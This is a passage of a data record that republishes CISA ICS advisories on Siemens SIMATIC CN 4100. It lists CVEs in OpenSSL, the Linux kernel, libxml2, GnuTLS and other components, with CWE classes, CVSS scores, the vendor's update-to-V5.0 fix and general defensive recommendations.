X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "76220b8e-be96-4d96-9703-826ec7e30d01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21947", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div 